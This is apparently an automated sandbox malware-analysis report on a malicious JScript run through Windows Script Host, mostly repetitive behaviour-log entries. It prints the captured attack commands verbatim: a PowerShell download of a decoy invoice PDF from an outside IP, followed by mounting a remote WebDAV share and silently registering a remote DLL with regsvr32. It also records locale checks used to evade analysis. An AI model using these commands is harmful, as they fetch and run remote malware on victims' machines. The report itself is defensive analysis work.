Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8441.js.csv");ITextStream.WriteLine(" entry:8101 f:lbrwf");ITextStream.WriteLine(" exec:2 f:lbrwf");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49701

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3515			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5074			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7564	Thread sleep count: 3515 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7568	Thread sleep count: 5074 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7672	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7688	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7544	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7536	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7880	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8188	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000008.00000002.1356235722.000002643C352000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`.<d
Source: net.exe, 00000008.00000002.1356235722.000002643C2E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1356235722.000002643C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2586684619.0000025926A5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2585256207.000002592142B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
